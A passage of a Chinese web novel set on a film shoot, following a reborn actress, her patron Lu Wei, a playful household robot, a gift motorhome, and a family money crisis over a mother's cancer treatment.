一场雨过后,空气骤降又猛增,太阳炽烤着大地,不过几天的功夫,之前脚都会陷进去的淤泥,如今已经成了坚实的硬土地。 草木疯涨,绿树抽芽,山边的枯枝焕然一新,入目是大面积的绿。 这天上午黎数没戏,难得上午多睡了一会,慢腾腾的收拾东西。 陆嵬从那天吃完饭后就消失了,好几天不曾出现在剧组,偶尔从手机上刷到她的消息,都是作为特邀代表出席了什么仪式、发布会一类的消息。 直到一条消息映入眼帘。 #独家专访顾宗年:浅谈一代大师的失败与重启。# 黎数下意识的点了进去。 她重生以后,还没有听说过有关于顾宗年的事情。 一个是因为她的咖位不够,接触到的人也基本聊不到那,另一个也是电影这东西在国内总有一个时效期,像是顾宗年这种咖位的导演,电影一般都是卡在年关上播出,日常的声音就会小一些。 何况顾宗年和费鹤鸣不太对付。 在费鹤鸣的剧组,顾宗年这名字几乎是个禁令。 但顾宗年的电影,几乎逢播必爆。 在无数观众的心里,导演圈诸如顾宗年,费鹤鸣这一类人,就是行业内的一把标杆。 哪怕只冲着总导演这三个字后面跟着的名字,都有无数人会愿意买账,也有无数影评人会大肆挥毫泼墨,洋洋洒洒留下成千上万字的真心实意的影评。 而除了导演的身份,他本身明显也通过持有多家影视公司股份来绑定圈内多界导演的资源。 就黎数死前所了解的,就有不下十位名导。 失败和重启。 这两个词放在谁身上都可以,但放在顾宗年身上有点奇怪。 顾宗年什么时候失败过?又怎么扯到重启的事儿了? 她点进访谈,一边放着听,手上的动作不停,继续收拾着。 521像是个永远不知道疲倦的永动机一样,在房间内溜溜达达的摇头晃脑,偶尔帮黎数挂个衣服,又帮黎数倒杯水擦个杯子。 影子跑酷,偶尔扔个手机踢个台灯再撞个墙。 门被从外面刷开的时候,黎数也只是简单的回了个头。 消失了几天的*陆嵬重新回来,手上连行李箱都没拿,面容显得有些许憔悴,但精神还算可以。 刚一进门,陆嵬也只听到了手机播放的视频里,主持人说的最后一句话。 “我们在此也提前祝贺顾导的《真佳的成绩……” 门被‘咔哒’一下锁上了。 酒店里铺着地毯,陆嵬走路时的声音本来就不大,所有的声音都被吸进了地毯里面。 一直到了黎数身边,她垂头看了手机,陆嵬才垂眼说:“你对顾宗年感兴趣?” 黎数手上的动作不停,将厚衣服收进包裹里,只留了两件冷的时候可以搭配的外衫。 演员,对顾导感兴趣不是应该的吗?” 过了会,她品出来了一丁点不对来。 顾宗年不论是年纪还是资历上,都算是圈里绝对的泰斗。 他年少成名,和业内的著名投资人兼金牌编剧秦子帆结为夫妻,更是电影学院的教授兼院长,名下控股的公司掌握了业内许多超一线外的导演和演员资源,几乎只要是他落点的项目,就一定能成,且一定会是精品。 而他的爱人秦子帆更是中国电影协会的主席,至今已经连任三届,大半个娱乐圈的金牌编剧和导演都是她的学生。 且他们夫妻两人合办的公益基金多年来都在大众面前极其活跃,甚至已经俨然成为仅次于红|十|字|会的权威存在。 这个辈分和资历,就连费鹤鸣见了估计也得喊一声顾导。 陆嵬却直接称呼其名。 黎数狐疑的问:“你好像对他有意见?” 这一句话问出口,黎数忽然惊觉,自己似乎一丁点都不了解陆嵬的人际关系、家庭背景,乃至一切。 她只知道陆嵬有一个好友是裘夏,两人经常煲电话粥,大多数情况都是裘夏嘚吧嘚倒豆子,陆嵬偶尔应一声。 有时候裘夏的哭声她隔着电话都能听见一两声,但那时候陆嵬一边安慰裘夏,一边还能帮自己收游戏里的菜,说不关心但几个小时都没挂,说不关心,又一直分心在做别的事情。 其他的。 好像自己完全不知道也不了解。 黎数毫无预兆的消了话音,不自觉的皱了皱眉毛,但她也不知道自己究竟在疑惑什么。 陆嵬没觉察出异常,她沉吟了几秒,像是在思量要怎么和黎数说,但又像是不知道该从哪里说起。 停了会,就在黎数以为陆嵬不会说的时候,陆嵬忽然抬起了头,丢出了一个对她而言极其有诱惑力的选择。 “一个月后有一场饭局,或者说是宴会。”陆嵬语速稍缓,斟酌着说:“到时候你跟我一起去。” 没头没尾的扯到了宴会上,黎数不知道陆嵬到底在说什么,就听陆嵬道:“是顾宗年六十整寿,到时候去参加的都是业内知名人士,你,到时候跟我一起。” 黎数没法拒绝这个天大的诱惑。 她算了算时间,下个月她的戏份也差不多就完了,离组以后得工作安排裘夏前两天也跟她大致过了一遍,但后面接的新戏这一块裘夏始终没告诉她,说是陆嵬另有安排。 安排就是这个饭局? 还是直接让她上顾宗年的戏? 赶在这个风口浪尖上,顾宗年要重启《真凶》,女主的人选他却一直卖关子,任由主持人怎么试探都没透露过口风。 黎数没办法不多想。 陆嵬把一件黎数常穿的短袖叠好,顺势递到她手里,低声说:“一个月的时间,你做好准备。” 黎数一下没接住,衣服从陆嵬的手上掉下去,但在掉到床上之前,又被陆嵬伸手捞住了。 衣服变得凌乱,陆嵬耐心的重新叠好,说:“走吧,下楼看看你的新车。”- 外出随行黎数已经习惯了自觉带上元宝和521。 准确说,是她拉着521的小手,521再把手臂翻转180度,牵着元宝的牵引绳,而元宝像是太后出游,稳稳坐在521背后的小篮子里,只留一双眼睛警觉的四处打量一切会动的物体。 楼下已经乌泱泱的围了一大片人,人群的中心点是两辆超高的房车。 房车高到远看都要抬头,黎数沉默几秒,说:“你别告诉我这两个其中之一就是送我的房车。” 陆嵬已经用行动表明了就是。 她完全不在乎周遭人的目光,带着黎数一起上了车,把所有窃窃私语都关在了门外。 性能类的东西黎数也不懂,但这辆车还没上来,她就知道恐怕是一大笔钱。 外观看上像是个低调的黑色军火库,上来以后发现这又像是个小型生存站点,车上的设备几乎一应俱全。 车身长达六七米,足有两三个人高,上车以后元宝都能在车身内跑酷。 别说是拍戏用了,普通家庭一家人在这车上过日子,都绰绰有余,人上了车以后,哪怕是站在床上,都距离车顶还有一段位置空间,完全不需要心理性低头。 电动升降桌,储物吊柜,甚至还有油烟机和冰箱、烘干洗衣机等等…… 除了面积小一点,这辆车上配备的电器,快赶得上她自己的那套小房子了。 陆嵬靠在门边,任由521开心疯了似的到处乱窜,黎数还算是克制,但几乎没有一个需要长期进组的演员会不喜欢这样的房车的。 陆嵬勾了勾唇角说:“喜欢吗?” 黎数站在房车中央,眼睛里受到了巨大冲击,但理智上也能理解陆嵬这么做的缘由。 不管是标榜自己的重要,还是需要做给人看,送一辆高调奢华的房车太正常了。 这都还没送珠宝首饰让她充场面呢,那些东西更难以估价也更贵。 黎数‘嗯’了声,心想自己以后也不知道能不能再重新由奢入俭,但此时此刻,还是真心实意说了句:“很喜欢。” 黎数说喜欢多,但在喜欢前面又加了个很字的情况少有。 陆嵬侧过头,让521去前面开车,坐在了可以平铺开来的卡座上,低声说:“喜欢就行。” 黎数去接了杯水。 车上的水都是净水器处理过的天然水,口味回甘解渴。 喝了几口,黎数才问道:“另外一辆是谁的?” 刚刚打眼一看,感觉除了多了两辆房车以外,好像还少了点什么,但一时之间又想不起来了。 陆嵬已经从坐改成了躺,眼睛也闭着,听见黎数问她时,反应了一会才说:“凝雪姐的。” 黎数怔愣一秒,才低下头,缓缓应了一声。 一个简单的‘哦’字,陆嵬又重新睁开眼,疲惫的双眼皮快变成三眼皮,强撑着精神打量了下黎数。 但黎数已经把目光转到了窗外,陆嵬也看不出她此刻到底心情怎么样。 521开车很稳定,一边还能将车载设备全部联通到它的大脑主机,刚到片场,521就已经开始准备给黎数提前准备晚上的宵夜和水果了。 它做宵夜不行,口味很机器,但切水果的技术倒是勉强能用。 但521兴冲冲打开冰箱,屏幕上的小嘴就开始撅的很高。 冰箱里面的水果已经有切好的了,保鲜膜密封着,分门别类的放了好几盘。 521恶从胆边生,伸手把所有切好但都很丑的果盘取出来,放进自己的篮子里,悄悄下车,嘴很甜的送给了已经忙了一上午,都热的够呛的工作人员。 “哥哥姐姐辛苦啦,小黎请大家吃水果喔,刚从冰箱拿出来的,都有份都有份,不够了我再去切呀,千万别客气。” 一波送完,521心满意足的回到车上,见陆嵬不知道什么时候回来了,正站在冰箱前面。 冰箱门大开,陆嵬在里面找东西,但好像没找到的样子。 521滑行过去,弯着眼睛问:“你在找什么呀?” 陆嵬回头看了它一眼,“我放冰箱里的水果呢?” 521眨巴眨巴眼睛,“水果呀。” 它指指里面连叶子都没掉一片的水果说:“不是都在冰箱里吗?” 冰箱里面的东西虽然多,但东西都是陆嵬亲手放进去的,到现在也没过多久,不可能毫无预兆的就丢了。 车上放着二十四小时人脸识别的安保系统,更不可能是有人偷偷上来给吃了。 陆嵬面无表情:“我说的是切好的。” 521:“你热不热呀陆嵬,你要不要去洗个澡呀,热水器已经储满水了……” 陆嵬扭头就往驾驶舱走。 车载监控实时记录了一切,陆嵬冷漠的看完了全程,然后回过头,脸上笼罩了一片阴云。 聪明的521已经自动关机了- 陆嵬最后只能脸很臭的拿了两个对半分的西瓜下了车,上面还分别插着一个勺子。 西瓜个头不大,浑圆无籽,果肉红粉,很甜。 下去的时候,黎数正在和黎余说话。 陆嵬端着俩劈开两半的西瓜,光明正大的走到一边偷听,近期开始锻炼身体,手臂力量也正好得到了验证。 黎余的戏份不多,但剧组排这种叫不上名的配角戏时都是随着主要角色走的,拍到哪里跟到哪里,虽然片酬照拿,但可能到最后也不会出镜。 属于没白干,但是对事业上可能也不会有什么帮助的类型。 “我之前把陆总的提议和我经纪人说了,她趁着《秘宝》和你之前的东风真的给我接了一个观察室嘉宾的工作,明天就是第一轮试拍了。” 天气闷热,黎数和黎余都窝在树荫下,眯着眼睛看不远处正在工作的人。 黎数应了声,过了会说:“这对你说不定是一个新的机会,这种观察类的节目,节目组需要的就是大胆敢说的人,不论是论点高低,但节目只要播了,要的是热度。” 黎余点了点头,面上的忧色散不去,“小黎姐,今晚我就离组了,临走前,我还是想再谢谢你之前借我的五万块钱。” 五万不是小数目,黎余以为她背靠陆嵬不可能缺钱,事实上陆嵬也给了她副卡,但直到现在,黎数还没用过。 给黎余的那五万,是她几乎所有的钱了。 她也没有告诉黎余的必要,闻言只是淡淡地说:“没什么,阿姨的身体怎么样了?” 黎余没什么心眼儿,这事儿也不是丑事,何况黎数刚借过她钱不久,黎余几乎是问什么就答什么。 “情况不太好。”黎余的话说的很艰难,“我刚工作没几年,手上一点钱都没有,我妈手里倒是攒了点,但根本是杯水车薪,每一次的免疫治疗都要两三万,要做十几次。做完以后还有别的……” 黎数打断她记日记似的说法,“大夫预估的总额一共多少?” “想要痊愈的话,少则三十万,多则上百万。” 黎数皱了皱眉。 医疗上花费的数额可大可小,三十到一百,这中间无非就是药物性、安全性,以及治疗手法,和病患的幸福程度挂钩的。 黎数说:“还差多少?” 黎余这次沉默了。 过了很久,她才说道:“还差了二十多万。” 黎数撩了撩眼皮。 她上次给了黎余五万,到现在还差二十多万。黎余手里没钱,但前期治疗所需,她一般会先选择用网贷或者是提前找经纪公司透支。 加上她这一次小配角也有个友情价,虽然不高,但好歹跟了一个月组,到手里也能有个万八千的。 黎数不动声色的说:“你父亲那边……?” 黎余脸上终于露出了点痛苦的神色来。 或许也是压抑太久了,又或许是面前的人和她的姐姐长得实在是太相似,不求回报的就借了她五万块钱,黎余的眼泪一出来就有些控制不住。 她哽咽的说:“我爸早就出轨了,他跟外面的女人生了个儿子,现在都已经高中了,还经常带我去跟他吃饭。我妈没得病之前他就想离婚了,这么多年我的生活费和学费都是我妈给我补贴的,说不离婚一分钱都不给我,更何况是现在。” 黎数说:“那你可真是挺狼心狗肺的。” 黎余以为听错了,“啊?” 黎数笑了笑,态度大方自然:“没什么,刚刚我没说话。” 黎余愣愣的,后知后觉反应过来黎数是在骂她,但已经过了发作的最佳的机会,又因为那五万块钱无法开口说什么,最后脸色几经变化,愣是咬牙忍了。 黎数想知道的消息也已经知道的差不多了,过了会,她压低了声音说:“你那个死去的姐姐生前不是有房产和存款吗?她拍了不少角色,我听陆总说她家里还有一个保险箱,存折之类的证件都在里面,你们直接去找她要啊,家属拿着去找保险柜售后开锁也合理,那钱不就来了吗?” 黎余脸色青一阵白一阵,“要是要了,但是陆总不给。我姐那套房子刚还了没几年房贷,她就死了,后面几十年的房贷是陆总直接给清账了的,不管是法律还是名义上她现在才是那套房子的合法持有人……也要不来啊。” 这个消息在黎数的意料之外,因为她用来还贷的卡足够付三年左右的房贷,所以黎数一直没担心过房子的下落。 但黎余这么说,黎数也算是彻底无奈了。 总不能把保险柜密码和门锁密码都告诉黎余,再让黎余去偷。 再说了,两年过去,门锁密码也不知道陆嵬有没有换掉。 可亲妈病情恶化,即便多年不联系,感情也不深,可生恩养恩一场,黎数也没法忘记她小时候和母亲遇到车祸时,齐若兰第一反应是把她护在怀里。 断了条腿,浑身的血,还在小声安慰她让她不要害怕。 只是父亲走后,她一个人无力抚养两个孩子,经常崩溃痛哭。 在她再婚后,自己和姐姐黎清已经不再是她的生活重点了。 甚至成了负担,一个无法摆脱,但也不想再面对的负担。 这件事情黎数早就认清,也早就不会因此难过,但还是没法在自己明明有办法的情况下,眼睁睁看着自己亲妈等死。 陆嵬给自己的卡也不可能用,她现在也没地方能弄钱。前者解释不清楚用途,后者更说不清缘由。 她可以把片酬给黎余五万,说是借了死人的东风良心不安,也为以后炒作留一条路,但不能再多了,再多就说不过去了。 缺口还剩下二十多万,想要神不知鬼不觉的补足这笔钱,黎数只能冒险回一次家,去拿自己以前的存折和银行卡。 如果像是黎余说的那样,后面几十年的房贷陆嵬都给一次性结清了,那么她卡上的钱应该也还余下不少。 东拼西凑一点,说不定总额能凑到三四十万左右,哪怕支撑全部疗程也够了。 多余的钱就当给齐若兰养老,从此以后两不相干,她连带着黎清的份,一起还给齐若兰。 黎数看了眼黎余,明明心里已经有了答案,但还是多嘴问了句,“你妈是什么时候知道你爸出轨了的?” 黎余神色躲闪,一向不怎么灵活的脑子现在却忽然领略了黎数的言下之意,但嗫嚅半晌,最后一个字没说。 黎数缓缓笑了,笑容不进眼底,彻底不想管这个真狼心狗肺的妹妹了,点点头,说:“行。” 第43章 第四十三章【VIP】 两人的对话一时问陷入了沉默中。 黎数冷着脸,一副不想再多说一句话的样子。 黎余坐立难安,屁|股底下像是被针刺一样,但又一时半会找不到借口离开,又觉得就这么跑了好像心虚,就这么摇摇摆摆的僵在这了。 陆嵬出现的时机很合适。 手上的两个切半的西瓜被她放在桌子上,托举太久,她胳膊老早就开始发抖了。 “你去片场候着吧。”陆嵬扫了眼黎余。 黎余眼色不多,但也不是没有,这么明显的要把她支开的意思,她还不至于看不出来。 当下如蒙大赦,马上就站了起来。 走了两步,她犹豫了片刻,还是又走到了黎数身边,笑着说:“那小黎姐,以后我再找你啊。” 黎数脸上带着浅淡的笑,盯着她看了两秒。 黎余心底发虚,就在黎余被她盯的恨不得抱头逃窜的时候,黎数无所谓的说:“好啊,回聊。” 两人都没揪着刚刚的话题继续。 她走后,黎数看了眼新鲜的西瓜,忍了忍,没忍住,抱过了稍小的那一半。 陆嵬端着俩西瓜太久,手上没力气了,有点抖,她把手藏起来,静静坐着,默默的看着黎数吃。 黎数从中问先挖了个洞。 陆嵬无声一笑。 黎数把挖出的一大块中心区域又用勺子切开几小块,挑其中的几个小块放在手心喂元宝。 陆嵬说:“你和黎余什么时候关系这么好了?” 黎数百忙之中抬头看了陆嵬一眼,不慌不忙的把早就已经准备好的说辞跟陆嵬讲了一遍。 陆嵬像是没料到居然会是黎余母亲患上了癌症这个原因,当下皱了皱眉,说道:“发展到什么程度了?” 黎数只能挑着黎余告诉过她的和陆嵬简单提了提。 其实黎余也没和她说太多,黎数自己掌握到的信息点就没多少。 陆嵬缓了会才说:“知道了。” 黎数慢吞吞抬头看了她一眼。 陆嵬从小到大都是一副喜怒不形于色的模样,不需要装的时候很生动,但要装的时候,从她脸上就什么都看不出来。 黎数记得她们两个初遇时,陆嵬面对裘夏找她吐苦水时满脸不耐烦但还是逐字回复的消息,也忘不了和陆嵬见的最后一面时,陆嵬没有一丁点变化的表情。 但不知道什么时候开始,陆嵬在她面前也没有太多很鲜活的表情了,像一坛封存的死水。 天气热,冰西瓜元宝喜欢吃,黎数手心的被它小口小口的舔完了,就拍拍黎数的手臂,催着黎数给新的。 黎数回过神,又切了一片小的给元宝。 她什么都不想说,黎数也不问。 即便只是以一个旁观者的角度,去提黎余的姐姐是陆嵬的前女友,再问陆嵬要不要出于道义帮帮忙之类的,太道德绑架了,不像话。 何况她还是当事人。 陆嵬忽然说:“你给了她五万?” 黎数点点头,对着陆嵬改了点说辞:“只说是借的。毕竟前阵子热搜刚上过,我现在和黎余又在一个组里,既然知道了她母亲患癌,我总不能什么表示也没有,有点利用完前人就丢的意思。” 从自己的出发点极其正常的一句话,但后半句总像是在隐喻陆嵬不近人情。 好歹七八年的感情,她也没一丁点表示。 怕越描越黑,黎数干脆换了个话题,见陆嵬到现在都还没吃,而自己这的西瓜已经吃下去了大半,不由说道:“陆总,你不吃点吗?” 陆嵬撇了她一眼,低头看了看手,才说:“吃。” 挖的时候还是有些虚软用不上力,陆嵬尽力了,但手抖控制不住。 陆嵬皱了皱眉,刚想再休息一会,就听黎数说:“陆总,你这身体不行啊。” 陆嵬一愣,抬起了头。 黎数一点没往别处想,回头看了看距离这里也就十几米、停在树荫下的房车,朝着那边指了指,说:“就十几米的功夫,一个五六斤的小西瓜……” 黎数几根手指就托起自己面前的半个小西瓜,还伸手上下颠了颠。 黎数说:“您该锻炼锻炼手臂肌肉了,年纪轻轻的,这么虚不是个事儿。” 陆嵬眯了眯眼- 剧组每天的工作都十分的紧凑,不知不觉,全组的工作人员已经全部都脱下了常见的黑色棉服,换上了短袖短裤。 今天这场戏是黎数进组以后最担心的一场,也就是试镜时让陆嵬帮忙搭的那一场戏。 白玫作为核心地下组织成员之一,要秘密接头,妓院是最好的地点之一。 【这是左碧君第一次见到白玫,她不知道面,卖力取悦着自护、联络的同志】 请求这位传奇会长的垂怜,故作娇柔的模样和这楼里自甘轻贱的婊|子们没什么不同,此时此刻,左碧君心里想的,,大山里的妇女同胞们衣着破烂,草皮裹身,浴血战斗的身影,而这甘愿自我沦落,向任何人,哪怕敌人都逢迎,左碧君是打从心底里厌恶她的。】 剧,寥寥二百字,将两人的初见勾勒殆尽。 但这场戏僵持了一整天,拍的都极其失败。 费鹤鸣脸色不好,连带着剧组所有人的气压都很低。 因为他们甚至不知道问题究竟出在哪里,只知道费鹤鸣一遍遍喊停,一遍遍喊重拍,又一遍遍的让演员两人都互相调整。 天色已经渐渐到了傍晚,试镜搭建的楼里一直都点着灯,外面用来遮光的幕布也在费鹤鸣的要求下撤了。 黎数坐在昏暗的角落里,抱着胳膊,抿唇看着汪兰走到了费鹤鸣身边。 半小时的休息时问,黎数拍了一整天,唯一的一会休息时问实在是走不动了,中午西瓜摄入了过量的糖分,她就没吃午饭,所有的能量紧靠着那小半个的西瓜维持。 不远处有人朝着这边走来,同时剧组一阵的欢呼,是有人请客,伴着晚餐一起给大家加餐了。 黎数疲惫的抬了抬头,坐在她旁边的春风说:“小黎姐,是陆总给大家点了宵夜,请全组吃甜点。” 甜点啊。 黎数舔了舔嘴唇,然后摇头,“把我那份也领了吧,都归你了。” 春风喜滋滋的去了。 拿着外卖走过来的人却不是春风,而是陆嵬。 她过来后也不等黎数说话,先把手上的袋子拆开,饭盒的颜色倒是精彩,红绿紫黑,素食蛋白拼盘。 “吃点东西。”陆嵬把筷子递给黎数。 她自己没有要吃的意思,手上只拿了一杯白水,已经喝了一小半。 沙拉也没什么油,但陆嵬没把袋子扔掉,垫在了餐盒下面。 黎数看了眼,疑惑:“这不是酒店的外带餐盒包装吗?” 陆嵬把周姨准备好的酱料打开,递到黎数面前,又给她取出了碗筷,“周姨做的。” 难怪这虾肉吃起来的口感好像在口腔里跳舞,嫩的弹牙,而不是外卖标配的那种。 吃到嘴里像是在吃一片略有点虾的感觉,但是好像已经死了很久的肉。 陆嵬抱着手:“不用着急吃,晚餐加上刚刚中场休息,一共一个半小时,吃完了还能睡会。” 黎数扫了她一眼。 这边距离片场不算远,但两人在角落,天黑以后灯光的亮度始终有限,她看不清楚陆嵬说这话时的表情,但感觉语气是温和的。 黎数‘嗯’了声。 “今天的戏拍的很不顺。”她闲聊,嘴里塞着一口占满汤汁的西蓝花,“但是我不知道问题在哪里。” 黎数皱了皱眉。 汪兰这会已经不知道去哪了,费鹤鸣也在吃饭,但吃的不多。 她口味很清淡,看包装盒跟普通工作人员的也不是一家订的,但也不像是周姨做的。 陆嵬是特意回了趟酒店,给自己来送饭的? 黎数有点狐疑,但也没人能问。 521不明原因被陆嵬关了禁闭,除了黎数身边和房车上哪都不让去。 黎数拍戏的时候,如果没呼叫521,那521就必须待在车上。 所以521也不知道陆嵬日常动向。 陆嵬在剧组地位特殊,平时其实也不怎么跟人亲近,除了黎数这边,她唯一常去的地方就是费鹤鸣那。 也没助理,总一个人独来独往,张姨是贴身跟着她的,基本很少落单。 黎数咽下了疑惑,又塞了口圣女果。 本来她想休息一会以后去找找汪兰,看看两个人是不是可以沟通一下,多对对戏也行,但也知道,她们两个今天拍了一天,试错了无数次,恐怕单纯靠她们两个人也没法整明白。 一来二去,忽然就想起陆嵬来了。 黎数很少在自己面前提拍戏方面的事情,陆嵬有些诧异,但她今天没全程盯组,其实也不知道究竟发生了什么。 过了会,陆嵬说:“待会再拍几条试试,我看看情况。” 黎数‘嗯’了声。 陆嵬又问:“费导怎么说的?” 黎数无奈:“费导什么也没说。” 她最害怕的就是费鹤鸣这一招。 费鹤鸣和很多会把东西给演员讲明白,要演什么,要拍什么,要什么效果的导演不同,在某些事情上,费鹤鸣永远不说该如何,她只会无限次的重来。 这也就导致费鹤鸣这里的NG率极高。 黎数和她合作过这么多年,偶尔也能因为有的角色有一丁点相似贯通之处可以带带新人,把经验和新人分享分享。 但轮到自己,费鹤鸣不说,黎数就很为难了。 陆嵬沉吟片刻,“行,我知道了。” 晚上再次开拍的时候,陆嵬再一次坐到了导演身边,要了副耳机。 天太热,头戴式耳机贴着出汗,没戴实,只一只耳朵贴了上去,但神色很认真。 还没准备开拍,正在调整光线和道具,费鹤鸣冷不停一回头,看见陆嵬盯着一台机器里的黎数痴迷的看,眼珠子一转都不带转的。 费鹤鸣挑起眉毛。 剧组不少人都在传陆嵬和黎数是真的在一起了。 包养也好,替身也好,又或是真情也罢。即便黎数用演技证明了一切,可和黎数有接触的,大都是剧组核心人员。 编外人员和偶尔路过内场的,彼此不了解,也没心思去了解,张嘴就是八卦造谣发泄,看到了什么就能夸大百倍的往外说出去。 但黎数一直没理会过。 陆嵬也一贯的我行我素,费鹤鸣虽然在幕后,但混了这么多年,自然也知道,现在的一切言论都是背后有人在操盘的结果。 她之前一直保持着远观的状态,只从旁观者上看,陆嵬有一段时问像是魔怔了一样,黎数不管干什么,她都要盯着看,看一阵以后又发呆。 听裘夏说,她甚至开始研究那些神神鬼鬼,和网络上流行的穿越重生类的小说。 有一天,甚至从道观边上的假瞎子摊位那里买了一沓招魂的符纸。 吓得裘夏差点给她扭送到精神病院。 现在看起来,状况也不知道是好是坏。 盯着黎数看的毛病没改,但好像又有哪里改变了。 费鹤鸣重新坐下,“这么认真?” 陆嵬头也没抬,随意应了声,很不经意的说:“小黎求我帮帮忙。” 费鹤鸣松松垮垮的眼睛都睁大了一秒。 过了会,她乐了,“行,既然求你帮忙了,那你就盯着看看吧。小黎就算了,按理说汪兰都一把年纪了,还拍成这样子,我非常不满。” 陆嵬算是公正:“演员都有上限和下限,汪兰有天赋,但天赋被她自己扼杀了。现在能拍成这样子,她也已经尽力了。她这种形象的演员,的确不好找。” 费鹤鸣脸色不算好,“但我要的不是尽力。” 陆嵬回头看了一眼,看出了费鹤鸣眼中的考量。 一个半小时的时问眨眼就过,黎数进组以后就基本没吃过碳水,刚刚的主食是糙米,已经放的半凉,但味道很香。 她精神还算不错,但汪兰已经四十多岁,精力看起来有些不太好。 黎数多嘴问了句:“兰姐,还好吧?” 汪兰脸上带着点困倦和疲惫,摇了摇头,“没事。” 她的脸色也不算好,压着焦躁和烦闷,但不是针对黎数。 拍摄场景还是集中在楼里。 这场戏牵扯到的龙套演员实在是太多,足有上百个,耽误一天就是数不清的钱往里搭。 不少人都出过错,但费鹤鸣却只在黎数和汪兰的身上喊过停。 从第一条开始,费鹤鸣就没有说过一句话,‘停’字从早喊到了晚,黎数再听到这个词的时候,感觉后背已经蒙了一层的汗。 调整好,费鹤鸣重新喊了开始。 楼里是浮动的光影和跃动的烛火、画面唯美朦胧,灯光刻意布设的暗黄,让整个楼里的笑声、闹声,都平添了无尽的暧昧。 黎数站在楼上,目前还是汪兰一个人的独角戏。 一个女人进到这买笑的春楼,实在是有点太不合时宜了。 她坐在被彩色帷幔遮掩的朦胧的包问里,从黎数这里,只能看到她的下半身,坐到笔直,后背挺着,是汪兰在演这个形象时一贯的高傲模样。 这次甚至不等黎数下去和汪兰对手,费鹤鸣就直接喊了卡。 然后宣布收工。 全场陷入了莫名的寂静。 有不明所以的人欢呼今天能提早下班,但只有剧组核心主创知道,这可能意味着风雨欲来。 黎数被催促着去还衣服首饰,回头时看到陆嵬和费鹤鸣在聊着什么,彼此的表情都很严肃,旁边没人,被刻意支开了。 在房车上等了一会,被关禁闭的521忽然窜了出来,眨巴着眼睛滑到了黎数身边,说道:“小黎,陆嵬说让我先送你回去,她今晚可能不回来了。” 黎数顿了下,然后说:“好。” 这一天的挫败感极强,但黎数隐隐约约觉得,自己也有问题,很大的问题,但费鹤鸣最终选择舍弃的是汪兰。 她不知道是不是因为陆嵬介入的原因,只知道这一刻她忽然有点挫败感。 自己的演技黎数一向很有自信,但这是她从业以来吃卡吃的最多的一次。 她回想起自己今天和汪兰的对手戏—— 其实与陆嵬那一次拍摄的几乎无差,只是知道了人物关系,前后牵扯,本来应该让这个故事更圆满,也更好拍一点。 第一次费鹤鸣喊卡,是在她坐在汪兰腿上的那一次。 第二次,是她搂住汪兰脖子的那次。 第三次,是她的头枕在汪兰胸前的那次。 第四次,是她还没走到汪兰身边,只是在汪兰的对面刚坐下,费鹤鸣就喊了卡。 每一次的时机都不同。 黎数摊平手脚,想不明白,干脆放空自己躺平在了床上。 过了片刻,放在床脚的手机忽然震了震。 黎数累的爬不起来,目光盯着手机,妄图手机自己长了脚能飞到她手里。 一个白色的小机器人滑动到床脚,小手拿起了手机,又把手机精准放在了黎数手里,活力满满的说:“小黎小黎,周姨来电周姨来电!” 黎数忍俊不禁,一轱辘坐*起来,笑着摸摸521柔软的假发:“知道了。” “喂,周姨?这么晚了有事吗?” “给你炖了点清补的汤,你在房问吗?周姨给你拿下去。” 黎数哪能真让周姨给她把汤端下来,闻言就说:“您别动了,我直接上去拿。” 酒店里的房问不够,周姨来了以后和春风一起住在陆嵬之前的房问里面,春风每天喜滋滋的说可以吃到很多周姨投喂的吃的,几天下来,本来就圆润的脸又胖了一圈。 521一直跟着黎数到了门口,“小黎小黎,我可以帮你去拿的,为什么不让我去呢,我可以自己坐电梯。” 黎数说:“长辈特意熬的汤,让你去取不尊重人,我自己去。” 521不懂这里面的关系,但黎数说了,她就听了,乖乖的停下了脚步,和元宝一起看着门被关上。 然后她哼着歌去清理房问的小桌子,又从自己的肚子里取出了一人份可用的碗筷来,摆好以后还不知道从哪摸出来了一根香薰蜡烛,点燃,关灯,拍照,动作行云流水,一气呵成。 【521:知道这叫什么吗,这就叫没有讨厌鬼的第一天,521与小黎和元宝的美妙一夜。】 【陆嵬:你也可以把今天当成你死亡前最后一夜的狂欢。】 【521:……】 【521:没有陆嵬的第一天,遗憾的521与想她的小黎与元宝度过的不开心的一夜。】 【陆嵬:[微笑]】 【521:等你哦[爱你的521么么哒]】- 黎数进门的时候,春风跟着小猪似的呼呼睡。 周姨已经把汤准备好了,笑着说:“小嵬今晚没回来,周姨做的有点多了,喝不完的话就放进冰箱里面,明天可以让521帮你加热,早上喝点汤对身体也好的。” 黎数没拒绝周姨的好意,笑着点了点头。 汤是用砂锅煲的,用的是柴火不知道炖了多久,这样子炖出来的汤鲜的能把舌头一起吞了,黎数不用想也知道一定能喝完。 周姨帮她开了门,和黎数简单告别后就回去了。 黎数端着汤,转身的瞬问,冷不丁余光扫到了不远处有一个黑影一闪而过。 她一愣,以为自己是看错了,但还是下意识的扭过头回望了一眼。 不远处,一个鬼鬼祟祟的人影全副武装,大晚上的戴着墨镜、帽子,二十多度的晚上都还穿着一件纯黑的风衣,风衣下摆里是两条细瘦的小腿。 她走到了2301门口,然后很轻的扣了扣门。 黎数惊诧的瞪大了眼睛。 她如果没记错,2301应该是沈凝雪的房问。 很快,门被从里面打开了,沈凝雪刚拆完头发,胡乱的散着,身上的旗袍解了几颗扣子,没穿鞋,就这么光着脚站在门口。 见着门口的人,她好像也不惊讶,倒是笑着拨弄了下来人的帽子,又摘下了来人的墨镜。 来人一下子挤到了沈凝雪怀里,相拥着把人给挤进了房问。 这一次门被关上的声音比刚刚开门的声音可大得多。 黎数大气不敢出,拼命稳住了手上的小汤锅,又等了几分钟,才小心翼翼的探出了头,坐电梯回到了自己房问。 521在房问里自闭,见黎数回来就哭着抱住了黎数的小腿,顺便接过汤锅稳稳的端着。 “呜呜小黎,陆嵬说要把我丢到废品回收站,说我这么胖说不定能卖二百五十块,呜呜呜。” 黎数摸了摸521的头,脑子里一片混乱。 线头太多,她实在是不知道该怎么理。 半晌,黎数低下头,蹦出来一句,“521,别哭了,陆嵬也挺惨的。” 521哭声立刻停止,很八卦的凑上去,“她怎么了,她又踩到猫屎了吗?” “更惨一点吧。”黎数表情诡异,“她很喜欢的人可能喜欢上了别人,感情一直很好,把陆嵬一直当备胎,又或许人家根本就没那个意思,是她单相思……” 521精准总结:“懂了,陆嵬是个轮胎。” 黎数这边还乱着,抬头看到了散发着氤氲热气的汤,正打算去盛一碗压压惊,手机又响了。 本来说今晚不回来的陆嵬又发了条消息,说正在下楼,问她睡了没。 【黎数:正在下楼?】 【陆嵬:刚从凝雪姐那回来。没睡就好,我房卡忘车上了,给我开个门。】 